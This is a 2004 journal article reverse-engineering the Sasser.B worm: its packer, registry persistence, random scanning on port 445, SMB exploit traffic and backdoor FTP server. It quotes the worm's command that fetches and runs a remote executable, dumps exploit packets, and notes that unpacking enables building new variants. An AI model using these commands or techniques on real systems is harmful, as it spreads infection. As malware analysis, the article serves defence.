© The CodeBreakers-Journal, Vol. 1, No. 1 (2004)
http://www.CodeBreakers-Journal.com

VX Reversing II, Sasser.B

Author: Eduardo Labir

Abstract

The well known worm Sasser has been one of the viruses which has received more attention in the press in the latest months. It's author, an 18 years old student from Germany, after causing lots of troubles to many home users and small enterprises faces up to several years of prison. Sasser is not a well programmed virus, it's success is entirely due to the exploit it implements, which was announced by Microsoft in one of their security bulletins. In this paper, we will reverse Sasser.B - the second of its variants - showing how it works and also how to clean your computer after infection.

Warning: disconnect your computer from the network while working with Sasser, you are left as the only responsible of your mistakes.

Keywords: *Sasser; Virus-Analysis; Worm-Analysis; Viral Exploits*

I. Introduction

If you have read the previous paper on Virus Reversing at CodeBreakers then you have all necessary background to beat Sasser. It's not only surprising, but worrying too, how such a simple virus can spread through all over the internet devastating whole networks and provoking millionaire losses to many enterprises. This stresses, yet again, two evident facts:

- Security in Microsoft needs a serious improvement.
- The Anti-virus companies, once again, are only able to add another string to their string scanners after the damage has been done.

This time, using an (theoretically) outdated exploit was enough to bypass all firewalls and anti-virus products.

Sasser will not be the last i-Worm making trouble, unfortunately there is another ”worm of the year” every two or three months, nor this will be the last paper in which you will read this remarks. There is an only way of successfully beating computer viruses, understanding them.

In this paper, we will take a close inspection at Sasser's behaviour, showing how it infects, spreads and how to clean it up from your computer. The article is divided in three parts: first, we unpack the virus, second, we have a look at its imports and strings references, finally, we debug into the virus to examine how it works.

Usually, papers on malware reversing request the use of several very expansive tools. However, following this paper just requires a debugger, anyone one will do (download Olly, which is freeware, from [1]).

II. Unpacking Sasser

Load Sasser in your debugger:

```
0040283E   mov eax,sasserB.0040284D
00402843   add byte ptr [eax],28
00402846   inc eax
```

As you see, this is a small self-modifying code, done to hide the offset of the seh-handler it is going to install in the next instructions:

```
0040284D   mov eax,sasserB.0040980F      ; offset seh-handler
00402852   push eax                      ; push offset handler
00402853   push dword ptr fs:[0]         ; push offset current handler
0040285A   mov dword ptr fs:[0],esp      ; install it
```

When installed, the packer provokes an exception writing to a non allowed offset:

```
00402861   xor eax,eax
00402863   mov dword ptr [eax],ecx
```

This calls our handler, so we set a bpx there and pass the exception to Sasser:

```
0040980F   mov eax,F04087B0
00409814   lea ecx,dword ptr [eax+10001082]
```

The handler modifies a dword outside it, this is done to ensure the handler has been called. After it you can see that it overwrites the instruction which provoked the exception with a jump, then we continue execution:

```
0040981D   mov edx,dword ptr [esp+4]     ; take pointer to the exception record
00409821   mov edx,dword ptr [edx+C]     ; address where the exception took place
00409824   mov byte ptr [edx],0E9        ; write a jump
...
0040982F   xor eax,eax           ; continue exception
00409831   retn
```

Now, set a breakpoint on the address where the exception took place (which has been overwritten with a jump, as we mentioned) and let's continue debugging.

> Note for Olly users: the seh handler hasn't set the trap flag, having it set to TRUE when reaching the jump it's possibly a bug in Olly, set it to FALSE.

The packer removes the current seh and restores the registers. After it, it takes the address of kernel32.VirtualAlloc from its imports table and reserves memory for unpacking Sasser:

```
0012FF98   00409867   /CALL to VirtualAlloc from sasserB.00409865
0012FF9C   00000000   |Address = NULL
0012FFA0   0000095B   |Size = 95B (2395.)
0012FFA4   00001000   |AllocationType = MEM_COMMIT
0012FFA8   00000040   \Protect = PAGE_EXECUTE_READWRITE
```

Now, we are going to take profit to see the APIs the packer has imported. Just go to its Imports Table, at RVA 9024 as given in the PE-header, and you will find the following ones:

```
kernel32.LoadLibraryA
kernel32.GetProcAddress
kernel32.VirtualAlloc
kernel32.VirtualFree
```

Of course, the first two are used for importing APIs from any DLL it might need. By other hand, VirtualAlloc and VirtualFree are simply to allocate a buffer, two of them actually, where the packed program will be decrypted.

Observe the parameters of this call:

```
00409881   push 0       ;
00409883   push eax     ; 4098CD <= end of code to decrypt
00409884   push edi     ; 370000 <= buffer
00409885   push esi     ; 4090C5 <= start of block to decrypt
00409886   call ecx     ; decrypt
```

Note that is evident by far what this routine does (debug into it too, it's easy to see how it works). The next call is this one:

```
004098A7   push ecx          ; 901C
004098A8   mov dword ptr [esi+28],ecx
004098AB   call edi
```

What does 901C mean?. If you recall, the imports table was at RVA 9024, so chances are that this is an RVA and, indeed, is so (the value of eax is at this point 8C, which is a common size of small imports table - multiple of the decimal number 20, which is the size of an IMAGE_IMPORT_DESCRIPTOR).

901C is the RVA of kernel32.VirtualFree into the IAT of the packed virus. The virus, will examine its import table to retrieve the address of each of its imported APIs (see above). Then, it will decrypt the string "kernel32.dll" and will call LoadLibraryA to get the image base of this DLL. The imports reconstruction has started:

```
00370403   push ecx
00370404   call dword ptr [ebx+1000128F]     ; kernel32.LoadLibraryA
```

As usual, once we have the image base of kernel32 we can start to get the addresses of each one of the APIs (from kernel32) we are interested in. The first we retrieve is ExitProcess:

```
00370426   push eax                         ; image base of kernel32,
                                            ; returned by LoadLibraryA
00370427   push dword ptr [ebp-4]           ; 'ExitProcess',0
0037042A   call dword ptr [ebx+10001293]    ; kernel32.GetProcAddress
```

Have a look at the instructions immediately after the call to kernel32.GetProcAddress:

```
00370430   test eax,eax         ; found?
00370432   je short 00370448    ; nope, abort.
00370434   stosd                ; yes, store it
00370435   pop edx              ; restore edx
00370436   add edx,4            ; go to next
```

Next what?. Edx, as you can see yourself, is the pointer to the IAT. As you know, each imported DLL has a piece of the IAT for itself, there you have a zeroe terminated array of RVAs to the names of the imported APIs.

```
0037041B   mov eax,dword ptr [edx]  ; take RVA
0037041D   test eax,eax             ; end of the current array?
0037041F   je short 0037043B        ; yes, next IMAGE_IMPORT_DESCRIPTOR.
...
0037043B   add esi,0C               ; esi points to the current import descryptor,
                                    ; take the next one
0037043E   mov eax,dword ptr [esi]  ; is the OriginalFirstThunk null?,
                                    ; if so we have finished,
                                    ; otherwise go to get
00370440   test eax,eax             ; its apis
00370442   jnz short 003703FF
```

If there is still another IMAGE_IMPORT_DESCRIPTOR to examine then we take its DLL name and call LoadLibraryA (this closes a cycle, we are above at the call to LoadLibraryA). To work, this algorithm needs to have a correct OriginalFirstThunk - not a must-have in the PE-format. This can only be ensured for the packer, meaning the reconstruction of the imports table for the virus will be done later. As you can see, in this the very first pass through the imports reconstruction we have only got kernel32.ExitProcess, user32.MessageBoxA and user32.wsprintfA.

Again, the packer now allocates more memory calling kernel32.VirtualAlloc and starts again to decrypt there. To know what is doing you only have to pay attention on where it writes to, check the value of edi when it does ”repne movsb” (points to the allocated buffer).

The routines to unpack are these ones:

```
003701DB   push esi
003701DC   call 003705B8
003701E1   push esi
003701E2   call 003706C6
003701E7   push esi
003701E8   call 003704B8
003701ED   push esi
003701EE   call 00370455
```

After them, it starts the imports reconstruction for the virus.

```
00370201   push ecx
00370202   push esi
00370203   call 00370746      <== import all apis from a single DLL
```

At this point we are going to have a look at the values pointed by ecx and esi. Esi points inside the buffer, not too relevant, however ecx points to the imports table:

(first IMAGE_IMPORT_DESCRIPTOR)

```
00405488  CC 55 00 00 00 00 00 00 00 00 00 00 1C 56 00 00
00405498  E0 50 00 00 00 55 00 00
```

(extract from the API strings)

```
00405608                                 77 73 70 72 69 6E            wsprin
00405618  74 66 41 00 55 53 45 52 33 32 2E 64 6C 6C 00 00  tfA.USER32.dll..
00405628  00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73  ..GetProcAddress
00405638  00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41  ....LoadLibraryA
00405648  00 00 00 00 6C 73 74 72 63 70 79 41 00 00 00     ....lstrcpyA...
```

As you can see, the imports table is totally correct, therefore you only have to save it for later. This is quite a lame imports protection. We will not enter into details about the imports reconstruction, the algorithm is pretty similar to the one above but taking in account imports by ordinal and other minor stuff.

After reconstructing the imports both buffers are freed (by means of kernel32.VirtualFree) and, finally, the packer jumps to the entry point of the virus, once all registers have been restored:

```
004098C5   pop esi
004098C6   pop edx
004098C7   pop edi
004098C8   pop ecx
004098C9   pop ebx
004098CA   pop ebp
004098CB   jmp eax       ; 40283E = sasserB.<ModuleEntryPoint>
```

As an application, let's give a small recipe for unpacking the virus:

- Set a bpx on kernel32.VirtualAlloc, run the packer twice.
- Go to 00370203 (this point can differ in your machine, take 0203 + image base of your buffer, which is available when you call VirtuallAlloc) and set a bpx there, run the packer.
- Go the the memory pointed by ecx, the imports table, and cut it.
- Remove the bpx at 00370203 (same comment than above) set a new one at the Entry Point and run again the packer.
- Dump, divert the entry point (not needed, the packer preserves the entry point) and paste the imports table. Set the imports table (at the PE-header) to RVA =5488 and size = 64h. 6. Set FirstThunk = OriginalFirstThunk at all the IMAGE_IMPORT_DESCRIPTORS (note that the FirstThunk has been deleted by the packer, however, having the intact OriginalFirstThunk suffices).

That’s all, unpack it yourself so you can see a clean copy of the virus.

> For sure, you have heard about different modifications of the original virus. Being able to unpack it also means being able to produce your own variant by injecting some code. When done, you have to take the packer and protect the virus again.

III. Wellcome to Sasser.B

We are at the entry point of Sasser:

```
0040283E   push ebp
0040283F   mov ebp,esp
00402841   push -1
00402843   push sasserB.00405128
```

In this section, we are going to have a look at the internals of Sasser, let’s start by extracting some of the the string references:

The next, is the standard registry key where you have to add yourself for running on startup:

```
Software\Microsoft\Current Version\Run
```

FTP commands:

```
USER, PASS, PORT, QUIT
```

Another command (to send to the victims):

```
ASCII "echo off&echo open \% s 5554>>cmd.ftp&echo anonymous>>
cmd.ftp&echo user&echo bin>>cmd.ftp&echo get \%i_up.exe>>cmd.ftp&echo bye
>>cmd.ftp&echo on&ftp -s:cmd.ftp&\%i_up.exe&echo off&del cmd.ftp&echo on",LF
```

The virus copies itself under this name:

```
avserve.exe
```

Return codes for the FTP-like protocol:

```
220 OK,...
```

Apart from this strings one has also those ones corresponding to the imported APIs, this is what we examine next. Let’s make a summary of the most relevant imported APIs and their (common) use in virus writing:

From kernel32:

1) **CopyFileA** worms use to copy themselves inside the windows directory.
2) **CreateMutexA** prevents from running several instances of the worm in the same computer, this is done by creating a named mutex object (the second call will fail with a particular error code that you must check).
3) **CreateThread** multi-threaded applications are harder for Anti-Viruses. By other hand, worms use to create a thread in charge of searching for new hosts, this way the user doesn't notice any delay.
4) **GetCommandLineA** if the virus copies itself to, for example, the Windows Directory then it shall need a way to know where it has been run from. Calling GetCommandLineA and comparing the beginning of the returned string with the path to the Windows Directory solves this.
5) **GetEnvironmentStrings** some interesting information is returned here, for example the (mentioned) Windows Directory.
6) **GetModuleFileName** path to the current process or to some (loaded) module.
7) **LoadLibraryA, GetProcAddress** get the address of any API. Note: set always a breakpoint on GetProcAddress, otherwise you may miss lots of calls.
8) **GetTickCount** random number generation.
9) **GetVersion** the worm only works under WinNT based systems.
10) **GetWindowsDirectory** other interesting one is GetSystemDirectory.
11) **lcreat, lopen,...** obsolete procedures to handle files, the virus takes this ones to avoid the common CreateFileA.
12) **WinExec** to run another instance of itself. Usually, WinExec is called passing a particular command line in anti-debug tricks.
13) **WriteFile** again, avoiding the common method to handle files (which is through a file mapping).

From user32:

1) **wsprintfA** to format strings.

From advapi32:

1) **AbortSystemShutdown** the user will surely notice that the virus is running (this virus is not stealth at all), if he tries to shutdown the computer this will stop it.
2) **RegOpenKeyA, RegSetValueExA, RegCloseKey** write a new entry on the registry to achieve per-session residency. There are several possible keys to alter, the one used by this virus is too obvious.

From Winsock (actually from ws2_32, but is enough to link with Winsock). Wsock32.dll is the DLL used for network communication, you will need some background on the field to understand this article:

1) **WSAStartup** initialises winsock (gets the Winsock version installed in the current machine).
2) **socket** create a socket
3) **connect** connects your socket to a server on a given port.
4) **gethostname** get the name of the current machine.
5) **gethostbyname** get the IP of a machine given its name.
6) **bind** bind to a port and accept connections there.
7) **accept** accepts connection on a socket
8) **inet_addr** converts a string having an IP, for example *127.0.0.1*, into an in_addr structure.
9) **listen** makes a socket to await for connections.
10) **send, recv** send and receive bytes from a connected socket.

This completes our preliminary description of the worm. Now, we are ready to study it in detail.

IV. Debugging Sasser

This part of the article is divided into three. The first, examines how Sasser infects the local machine, this is simply achieved by coping itself to the WINDOWS directory and modifying the registry to ensure to be run on each OS startup. The second, shows how the virus looks for new possible hosts and how it connects to them and tries to exploit a vulnerability in one of the Windows Services, LSASS.exe. The third and last examines the serve-like behaviour of the virus, which is able to respond to a very basic FTP-like session.

A. Infecting the current system

Since the virus has been coded in Visual C++ it has the standard useless calls automatically inserted by compilers to easy up the non-programmer's work.

Of course, we don't need at all to debug step by step into a Visual C++ application, instead we will simply hook all those APIs we consider dangerous (the ones we listed above). In case you prefer the lengthy, and useless, way you will see calls to retrieve the command line, the stdin/stdout/stderr consoles,... and other meaningless calls before you reach the relevant ones. You will see the following calls:

1) **GetVersion** OS version, the virus is not Win9x compatible
2) **HeapCreate** creates a block of memory
3) **RtlAllocateHeap** called twice, allocates memory
4) **VirtualAlloc** called twice, allocates memory
5) **GetStartupInfo** some info about the GUI of the program and stuff
6) **GetStdHandle** retrieves the stdin, stdout and stderr consoles.
7) **SetHandleCount** this call has no effect under WinNT
8) **GetCommandLineA** get the command line
9) **GetStartupInfoA** information about how this application was created
10) **GetEnvironmentStrings** some paths and stuff
11) **WideCharToMultiByte** string conversions
12) **FreeEnvironmentStringsW** free the memory for this strings
13) **GetCPInfo** information about a memory area: writable, size,...

Next, there are several calls to play with some strings retrieved above. Finally, this ones:

1) **GetModuleFileNameA** path to the current program
2) **GetStartupInfoA** more useless information, for example the stdin, stdout, stderr consoles (again).
3) **GetModuleHandleA** get the image base of the current program.

In summary, the virus (apart from getting the information automatically given by Visual C++) has retrieved the path to the current file. Now we, finally, start the viric activity:

```
00402038    push sasser_d.00406A94  ; ASCII "Jobaka3"
0040203D    push esi                ; NULL
0040203E    push esi                ; NULL
0040203F    call edi                ; kernel32.CreateMutexA
```

The virus has created a named mutex called 'jobaka3', this is done to prevent several instances of the virus running on the same machine (a widely used technique). The virus initialises now its random number generator calling GetTickCount and, next, it starts Winsock calling WSAStartup. WSAStartup retrieves the current version of Winsock installed in the OS and fills an important structure you need to start interneting with your virus, therefore is always the first network-oriented call. The initialisation required by the virus is now complete, note this has consisted of the following three steps:

- Create a mutex to avoid multiple infection of a single machine.
- Initialize the random number generator calling GetTickCount.
- Initialize Winsock calling WSAStartup.

All worms, this is not an exception, try to ensure they will be run when the system reboots. There are many ways of achieving per-session residence, once of the most widely used (and so less interesting) is the one chosen by Sasser:
; First, we get the path to the current file

```
004020EE    push 0
004020F0    call dword ptr [KERNEL32.GetModuleFileNameA]
```

; Next, we get the path to the windows directory (usually C:\WINNT or C:\WINDOWS)

```
004020FE    call dword ptr [KERNEL32.GetWindowsDirectoryA]
```

At this point, you will see how it constructs the string "C:\ WINDOWS\ avserve2.exe" and, as you can well imagine, it copies itself there:

```
0040214F    push 0                  ; fail if exists = FALSE
00402151    push eax                ; new name: "C:\WINDOWS\avserve2.exe"
00402152    lea eax,dword ptr [ebp-824]
00402158    push eax                ; old name: " C:\LameVirii\sasserB.exe"
00402159    call dword ptr [KERNEL32.CopyFileA]
```

Once the virus has copied itself to a safe place (note: the Windows directory is probably one of the worst, every sysadmin checks for changes there) it proceeds to add itself to the following registry key: Software\Microsoft\Current Version\Run. All programs included in this key are run on startup by Windows. Needless to say, there are many other ways to hide your virus to ensure it shall be run on startup, the one chosen by the author of Sasser is probably the most evident. To add a value to the registry you have to first open the key, advapi32.RegOpenKey, and then set it with advapi32.RegSetValueExA:

```
00402162    push eax                    ; address for receiving the handle
00402163    push sasser_d.00406A9C      ; "SOFTWARE\Microsoft\Windows
                                        ; \CurrentVersion\Run"
00402168    push 80000002               ; HKEY_LOCAL_MACHINE
0040216D    call dword ptr [ADVAPI32.RegOpenKeyA]
...
00402195    call dword ptr [ADVAPI32.RegSetValueExA] ; adds avserve2.exe
```

After this, the virus closes the key. Now, you can go to regedit and check that the new entry has been added, remove it (and remove the copy of the virus at your Windows Directory, as well). Once the virus makes sure that it shall be run on every re-booting of your machine it creates a new mutex, called ”JumpallsNlsTillt”. If the call returns ERROR_ALREADY_EXISTS, 0B7h, the virus exits. Otherwise, the network infection starts.

B. Searching vulnerable hosts

At this point, Sasser has ensured it shall be run on every session. Let’s see how it spreads through the internet.
After checking that the mutex ”JumpallsNlsTillt” is not present in the system the virus will create lots of copies of the same thread in charge of searching for new hosts and infecting them. Each thread will generate a random IP and will try to connect there on an specific port, if the port is available the target might be exploitable. You can see that there are two consecutive calls to CreateThread. The first thread is the server part of the virus, which shall be examined later in the article, the second is the one that looks for new hosts. For now, we will concentrate on the later. It’s also interesting to see that the second thread is created 128 times, this means that the virus searches 128 possible IPs in parallel. However, this considerably slows down the connection and makes the presence of the virus pretty evident:

```
004020AB    mov ebx,80
004020B0    /lea eax,dword ptr [ebp-8]
...
004020B6    |push sasser_d.00401EF0            ; |ThreadFunction = sasser_d.00401EF0
...
004020BD    |call edi                          ; \CreateThread
004020BF    |dec ebx
004020C0    \jnz short sasser_d.004020B0       ; run this thread another time
```

Before to examine these two threads let’s follow a bit more the code we have below, there is an interesting loop:

```
004020C3    push esi                                           ; /MachineName
004020C4    call dword ptr [<&ADVAPI32.AbortSystemShutdownA>   ; \AbortSystemShutdownA
004020CA    push 0BB8                                          ; /Timeout = 3000. ms
004020CF    call dword ptr [<&KERNEL32.Sleep>]                 ; \Sleep
004020D5    jmp short sasser_d.004020C3
```

Possibly, the author of the virus saw that so many threads dealing with network connections were going to be noticed by the user (it slows down the machine too much). Then, the user would probably try to re-boot his machine and this would stop the virus activity. The loop above is in charge of fixing up this situation, Advapi32.AbortSystemShutdownA will cancel every trial of re-booting. As you see, this call is done every 3 seconds. Of course, one can simply go to the TaskManager and kill the worm... this is supposed to be too difficult for the average user, who doesn’t know which processes are running on his machine.

Hands on, let’s examine the thread which is created 128 times (we will denote it by *128-thread*):

Nop out the creation of the previous thread, we will be back to it later, and let’s create the 128-thread. The entry point of the thread is at 401EF0, see the parameters passed to kernel32.CreateThread, where we are going to set our bpx. Apart from this breakpoint we will overwrite the instruction next to the call to kernel32.CreateThread with an infinite loop, this way we ensure that only our thread will be run (in more complicated multi-thread applications this is impossible).

```
004020BD    call edi                    ; \CreateThread
004020BF    jmp short sasser_d.004020BF ; this is your jump
...
```

So we are prompted at the entry point of the 128-thread:

```
00401EF0    sub esp,454
00401EF6    push ebx
00401EF7    push ebp
```

Now, we debug to see what it does. First of all, the virus get the name of the current host., the name will be used later to get its IP.

```
004010E4    push 0FF                               ; /BufSize = FF (255.)
004010E9    push eax                               ; |Buffer
004010EA    call dword ptr [<&WS2_32.#57>]         ; \gethostname
```

In my case, this name is ”myPC”, which is returned at the buffer. Now, as we mentioned above, the virus can get the IP of the current machine:

```
004010FA    push eax                               ; /Name
004010FB    call dword ptr [<&WS2_32.#52>]         ; \gethostbyname
```

This API returns a pointer to the IP of the host, which has to be converted to the usual format (for example, ”155.21.21.128”), Windows provides APIs for conversions to the different formats:

```
00401113    push dword ptr [eax]            ; push 0100007Fh
00401115    call dword ptr [<&WS2_32.#12>]  ; WS2_32.inet_ntoa
```

Now, you will see that the API returns into eax a pointer to the string ”127.0.0.1”, which is the IP i have now (because i am NOT connected to the internet, never be connected when debugging a worm!).

The virus is going to randomly generate IPs and to try to connect them, note that this is a complete loss of time and, indeed, makes this worm much less dangerous than it could be. However, IP enumeration has been a standard mistake in many i-Worms.

Below this, you will see 12 calls to the same procedure. Them all,are in charge of randomising each part of the current IP. Normally, given a valid IP, say XXX.YYY.ZZZ.TTT one would try to take nodes in the same sub-net, this has more probability of success.

```
00401F6A    push edx
00401F6B    call sasser_d.00401000      ; randomise
```

Once the new IP has been got the virus transforms it into the standard format with the help of user32.wsprintfA:

```
00401FBD    push edx
00401FC2    push sasser_d.00406A54  ;  ASCII "\%i.\%i.\%i.\%i"
00401FC7    push eax                ;
00401FC8    call ebp                ;  USER32.wsprintfA
```

Apart from the IP you want to connect to you also need the port. Normally, when an exploit is found this requires connecting to a given port where a service is listening (for example, this could be the FTP service, at port 21 or the TELNET service, at port 23). The next call converts an hexadecimal value to the standard format for ports, we will try to connect to port 445:

```
00401171    push 1BD                           ; /NetShort = 1BD
00401176    call dword ptr [<&WS2_32.#9>]      ; \ntohs
```

When you have the IP, port included, in a valid format you have to create a socket and to connect it to that IP at the chosen port:

```
...
004011A3    call dword ptr [<&WS2_32.#23>]     ; WS2_32.socket,
                                               ; create a socket
                                               ; (receives a handle to it)
```

The virus creates a standard SOCK_STREAM socket for TCP/IP connection through the internet. Different protocols need different kinds of sockets, SOCK_STREAM is the most commonly used. Let's connect the virus to the host:

```
004011B7    push 10                              ; /AddrLen = 10 (16.)
004011B9    push eax                             ; |pSockAddr = 127.65.85.211
004011BA    push esi                             ; | handle to the Socket
004011BB    call dword ptr [<&WS2_32.#4>]        ; \connect
```

Of course, since we are not connected, the call is going to fail and will return a -1. Change it to 0, which is the success code and let's continue with the analysis:

```
004011C8    push esi                            ; /Socket = 100
004011C9    call dword ptr [<&WS2_32.#3>]       ; \closesocket
```

So, the socket is closed (which is a loss of time) and we continue looking for more hosts. First we get the path to the current file:

```
00401FE6    push 0                                         ; |hModule = NULL
00401FE8    call dword ptr [<&KERNEL32.GetModuleFileNameA>] ; \GetModuleFileNameA
```

Next, after working a bit with this path and with the IP we found above, we start another instance of this application (calling kernel32.WinExec) passing as command line the path to the virus concatenated to the IP. The current instance continues looking for more hosts.

New Created instances of this virus with an IP as command line

As we have seen above, when a possible new host is found the virus calls WinExec to run itself with command line a given IP, let's do it ourselves passing an easy to distinguish IP, for example, "111.11.11.111" to see what this new instance does. Of course, we're going to start this new instance with our debugger.

Set a bpx on all APIs and run the virus. Everything goes on as we saw above until we reach the call to kernel32.GetLastError. If you recall, we commented above that the mutex was created to mark that another instance of this same process is running, kernel32.GetLastError returns ERROR_ALREADY_EXISTS in this case and, then, the virus exits. This, of course, means that this has to be done after the other instance of the virus has been terminated, there we go. After creating the named mutex the virus stores the input IP address in another buffer (you will see a call to kernel32.lstrcpyA and another one to user32.wsprintfA). This is followed by the decryption of some of the buffers containing the data for exploiting the vulnerability into LSASS.exe, a service you will see running in your computer at the TASK MANAGER. As we saw in the previous section of this article we have passed as the IP address of the target the string "111.11.11.111". The virus needs this IP to connect to it, the IP of a host given its name is returned by WS2_32.gethostbyname:

```
0040147D    push dword ptr [ebp+8]          ; push offset "111.11.11.111"
00401480    call dword ptr [<&WS2_32.#52>]  ; WS2_32.gethostbyname
```

Since we are not connected to the Internet, change the string "111.11.11.111" by your not-connected IP "127.0.0.1" and do the call (after the call, restore the string just in case the virus makes use of it later). This way, the call retrieves a valid information. Next, you will see that it creates a socket and connects it to port 445 at the given IP (have a look at the structure pointed by pSockAddr on the call to WS2_32.connect). As above, the call fails because we are not connected, not a big deal, change the return to 0 (we could open this port ourselves and connect to it then, however there is no need of complicating this any longer). Once the virus is connected it starts sending and receiving information, this is always done with the APIs WS2_32.send and WS2_32.recv (which will always fail, change the return to the number of sent/received bytes respectively):

```
004014FA    push esi
004014FB    call ebx                                ; WS2_32.send
...
00401511    mov esi,dword ptr [<&WS2_32.#16>]       ; WS2_32.recv
00401517    call esi
...
```

Let's see what it sends. You only have to see the parameteres at the calls, in case of calling WS2_32.send one of them is a buffer with the sent data and another one its length (WS2_32.recv is also pretty easy, check win32.hlp for a detailed description of the APIs).

sent (change the return to 89h after the call, you would have this value if the call would succeed):

```
004061CC  00 00 00 85 FF 53 4D 42 72 00 00 00 00 18 53 C8  ...ÿSMBr....XSÈ
004061DC  00 00 00 00 00 00 00 00 00 00 00 00 00 FF FE  ..............ÿ
004061EC  00 00 00 00 00 62 00 02 50 43 20 4E 45 54 57 4F  .....b.BPC NETWO
004061FC  52 4B 20 50 52 4F 47 52 41 4D 20 31 2E 30 00 02  RK PROGRAM 1.0.B
...
```

Now, the virus calls WS2_32.recv with a buffer size of 640h bytes. The virus does not process the received bytes - you always have to receive the bytes from the server before to send more because all protocols send acknowledgments and stuff - and calls again WS2_32.send. This time we sent 0A8h bytes:

sent (0A8 bytes)

```
00406258   00 00 00 A4 FF 53 4D 42 73 00 00 00 00 18 07 C8  ...ÿSMBs....XGÈ
00406268   00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FE  ..............ÿ
00406278   00 00 10 00 0C FF 00 A4 00 04 11 0A 00 00 00 00  ..P..ÿ..DQ.....
...
```

Again, the virus receives more data, with a call to WS2_32.recv, but does nothing to them... More bytes sent (size 0DEh)...

sent (0DE bytes)

```
00406304   00 00 00 DA FF 53 4D 42 73 00 00 00 00 18 07 C8  ...ÚÿSMBs....XGÈ
00406314   00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FE  ..............ÿ
00406324   00 08 20 00 0C FF 00 DA 00 04 11 0A 00 00 00 00  .H ..ÿ.Ú.DQ.....
00406334   00 00 00 57 00 00 00 00 00 D4 00 00 80 9F 00 4E  ...W.....Ô...N
...
```

Immediately after this, it starts some heavy string manipulation. Among other things, it includes the IP we have passed to it at the command line inside some buffers. For example, see the following extract, got just before running the call at 4015FB:

```
0012FE2C  4C 4D 4E 4F 1E 28 F4 77 5C 5C 31 31 31 2E 31 31  LMNO.(ôw\\111.11
0012FE3C  2E 31 31 2E 31 31 31 5C 69 70 63 24 00 2E 31 31  .11.111\ipc$..11
0012FE4C  2E 31 31 2E 31 31 31 5C 69 70 63 24 00           .11.111\ipc$.
```

The virus, has in the buffer an IP (possibly from a previously infected target) which it substitutes by the new target IP, ”111.11.11.111”. Note that, if this is true, one can trace back the virus to the author very easily (the telecom companies will give immediately the phone number connected with that IP at a given time, the creation timestamp of the avserve2.exe file will give the requested connection time).

Once this string manipulation has concluded the virus prepares to connect to port 9996. Presumably, the vulnerability has opened this port and so the virus is able to connect there. We will not enter in details at this point, at the end, this is a exploit and could still be profitable for some systems. Therefore, we simply assume that the virus has prepared the code to be run in the remote host. When done, the virus creates a socket:

```
004017F2    push 2
004017F4    call dword ptr [<&WS2_32.#23>]       ; WS2_32.socket
```

And connects again to port 445. Again, all the buffers we have seen above are sent but (meaning the previous time the virus was only checking if this host was exploitable), this time, there is an additional one (which has been created in the omitted calls) which contains the following:

```
0012FDBC  00 00 00 5C FF 53 4D 42 75 00 00 00 00 18 07 C8  ...\ÿSMBu....XGÈ
...
0012FDEC  5C 00 5C 00 31 00 31 00 31 00 2E 00 31 00 31 00  \.\.1.1.1...1.1.
0012FDFC  2E 00 31 00 31 00 2E 00 31 00 31 00 31 00 5C 00  ..1.1...1.1.1.\.
0012FE0C  69 00 70 00 63 00 24 00 00 00 3F 3F 3F 3F 3F 00  i.p.c.$...?????.
```

Note that the target IP is present there, there are also some script-like characters like ”ipc$”. More data to be sent... we don’t cut and paste the next here due to lack of interest. After more string manipulation the virus sends a big 10FC bytes length string to the target host. Finally, another call to send more data and the virus closes this socket. This completes this part of this article, which - as we mentioned - you yourself can extend by examining how the exploit works (connect to your own port).

The server

Our virus, is also able to act as a elementary FTP server, it receives commands on port 5554 (ports open by trojans and viruses frequently have numbers more or less as big as this one, the lower ones are reserved by the system) and responds accordingly. The server part is done at the thread we omitted above, let’s see how it works.

After creating the mutex we are again at the thread creation, the first thread will start a server in the local host (the second has already been studied).
We set an infinite loop after the call to kernel32.CreateThread, a bpx at the entry point of the thread and create it:

```
004020A9    call edi
004020AB    mov ebx,80  ; your infinite loop should go here (jmp 004020AB)
```

Now, you are at the entry point of the new thread:

```
00401E65    push ebp
00401E66    mov ebp,esp
00401E68    sub esp,14
```

This thread starts by creating a new socket, with the same parameteres we used above in the other thread, then it converts to the right format the pre-stored port number, which results into 5554.

```
00401E72    push 2
00401E74    call dword ptr [<&WS2_32.#23>]                  ; WS2_32.socket
...
00401E8E    mov word ptr [ebp-14],2
00401E94    call dword ptr [<&WS2_32.#9>]                   ; WS2_32.ntohs
```

When you want to install a server in your machine you need to open one of your ports and to allow incoming connections. This, essencially, consists of the following steps:

- Create a socket.
- Bind your socket to a local port.
- Prepare your socket to receive messages (for example, FTP commands).

The second and third steps come next:

```
00401EA5    mov dword ptr [ebp-10],esi
00401EA8    call dword ptr [<&WS2_32.#2>]   ; WS2_32.bind, bind to port 5554
                                            ; (the port which will listen)
...
00401EB3    push 5
00401EB5    push edi
00401EB6    call dword ptr [<&WS2_32.#13>]  ; WS2_32.listen,
                                            ; this prepares the socket
                                            ; to "listen" to incoming commands
...
00401ECC    push edi
00401ECD    call dword ptr [<&WS2_32.#1>]   ; WS2_32.accept, await for an incoming
                                            ; message
```

At this point, since we don't know what the virus does and we don't want to connect to the Internet due to the risk it involves, we have the following options:

- Code ourselves a client for this server.
- Omit the call to WS2_32.connect and see what does the virus when it receives a message.
- Open a telnet session and connect ourselves to the given port.

Yes, we choose the third one (in other articles we will choose the first, the second is only good for very simple viruses). So, you have to go to the command line and type "telnet 127.0.0.1 5554". This will establish connection and you will see that the debugger is called again, WS2_2.accept has returned.

Btw: do "netstat -na" on the command line and you will see all our open ports, in particular the one the virus has opened. Note that, since you are not connected to the internet, the local IP will be displayed as "0.0.0.0". However, you must connect to 127.0.0.1 (which is the so called loopback).

When WS2_32.accept returns the virus creates a new thread, this thread will respond to our commands. Let's create it and see what happens:

```
00401B08    push ebp         ; start of the thread that will
                             ; reply our telnet connection
00401B09    mov ebp,esp
00401B0B    sub esp,8E4
```

First, the virus sends us a typical "ok" reply, to be exact it sends "220 OK" (ending in a line feed, all data you send in internet protocols ends with it):

```
00401B3C    call esi                ; WS2_32.send
```

